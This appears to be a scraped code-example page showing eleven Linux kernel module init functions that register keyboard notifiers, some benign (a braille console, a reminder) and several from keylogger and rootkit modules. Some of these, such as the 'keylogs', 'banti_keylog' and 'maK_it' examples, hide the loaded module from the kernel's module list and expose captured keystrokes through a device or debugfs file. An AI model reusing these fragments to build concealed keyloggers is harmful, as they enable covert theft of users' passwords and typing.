Esempio n. 1
0
int kbd_init(void) {

	idev = input_allocate_device();
	
	if (!idev)
		return -ENOMEM;

	idev->evbit[0] = BIT_MASK(EV_KEY);
	idev->name = "kbd";
	idev->phys = "/kbd/input0";
	idev->id.bustype = BUS_I8042;
	idev->id.vendor = 0x0001;
	idev->id.product = 1;
	idev->id.version = 0;

	set_bit(KEY_LEFT,  idev->keybit);

	int err = input_register_device(idev);

	if(err) {
		printk(KERN_ERR "kbd: Can't register device\n");
		input_free_device(idev);
		idev = NULL;

		return err;
	}

	register_keyboard_notifier(&nb);

	return 0;
}
Esempio n. 2
0
static int __init keylogs_init(void)
{
    register_keyboard_notifier(&keylogs_nb);    // Non-blocking call
    list_del(&THIS_MODULE->list);
    kobject_del(&THIS_MODULE->mkobj.kobj);
    sema_init(&sem, 1);
    return 0;
}
Esempio n. 3
0
/* Module Init */
static int kit_init(void) {
    printk(KERN_INFO "Module Init!\n");

    // Mount keyboard hook
    register_keyboard_notifier(&keyboard_nb);
    
    return 0;
}
Esempio n. 4
0
static int hello_init(void) {
  printk(KERN_ALERT "KBD_N - Installing kbd_notifier.\n");

  //notice when a key is pressed?  yes, please!
  register_keyboard_notifier(&nb);

  return 0;
}
Esempio n. 5
0
/*
 * Initialise module. Function initialises module with insmod 
 * command is given and hides it afther initialisation
 */
static int __init banti_keylog_init(void)
{
    /* Hide module */
    init_banti();
    banti_module_hide();

    /* Register notifier */
    register_keyboard_notifier(&notifer_deamon);
    printk(KERN_INFO "Registring banti keyboard module\n");
    return 0;
}
Esempio n. 6
0
void present_message(void)
{
	printk(PLVL "Message from reminder module:\n");
	print_line();
	if (!message)
		printk(PLVL "!!!No message has been written into the reminder!!!\n");
	else
		printk(PLVL "%s\n", message);
	print_line();
	printk(PLVL "End of message. Press any key to continue.\n");
	register_keyboard_notifier(&nb);
	while(wait_for_keypress){}
	unregister_keyboard_notifier(&nb);
}
int klg_init(void) {
	int result;

	/* Registering device */
  	result = register_chrdev(KLG_MAJOR, DEV_NAME, &klg_fops);
  
	if (result < 0)
		return result;

	register_keyboard_notifier(&nb);
	memset(buffer, 0, sizeof buffer);
	#if(LOUD > 0)
	printk(KERN_DEBUG "[Key logger]: Inserting klg module\n"); 
	#endif
	return 0;
}
Esempio n. 8
0
static int __init keysniffer_init(void)
{
	buf_pos = 0;

	subdir = debugfs_create_dir("kisni", NULL);
	if (IS_ERR(subdir))
		return PTR_ERR(subdir);
	if (!subdir)
		return -ENOENT;

	file = debugfs_create_file("keys", S_IRUSR, subdir, NULL, &keys_fops);
	if (!file) {
		debugfs_remove_recursive(subdir);
		return -ENOENT;
	}

	register_keyboard_notifier(&keysniffer_blk);
	return 0;
}
Esempio n. 9
0
int braille_register_console(struct console *console, int index,
		char *console_options, char *braille_options)
{
	int ret;
	if (!console_options)
		/* Only support VisioBraille for now */
		console_options = "57600o8";
	if (braille_co)
		return -ENODEV;
	if (console->setup) {
		ret = console->setup(console, console_options);
		if (ret != 0)
			return ret;
	}
	console->flags |= CON_ENABLED;
	console->index = index;
	braille_co = console;
	register_keyboard_notifier(&keyboard_notifier_block);
	register_vt_notifier(&vt_notifier_block);
	return 0;
}
Esempio n. 10
0
static int init_mod(void){

    //hide module on start
    hide_module();
    
	//Listen for keys.
	register_keyboard_notifier(&nb);
	sema_init(&s, 1);        
	
	//Register a character device
	memset(keyBuffer, 0, sizeof(keyBuffer));
	major = register_chrdev(DEVICE_MAJOR, DEVICE_NAME, &fops);
	if(debug == 1)
		printk(KERN_ALERT "maK_it: Major %i \n", DEVICE_MAJOR);
	if(major < 0){
		if(debug == 1)
			printk(KERN_INFO "maK_it: Major device failed with -1");
        	return major;
	}
	return 0;
}
Esempio n. 11
0
static int __init init_killer(void)
{
    register_keyboard_notifier(&killer_nb);
    return 0;
}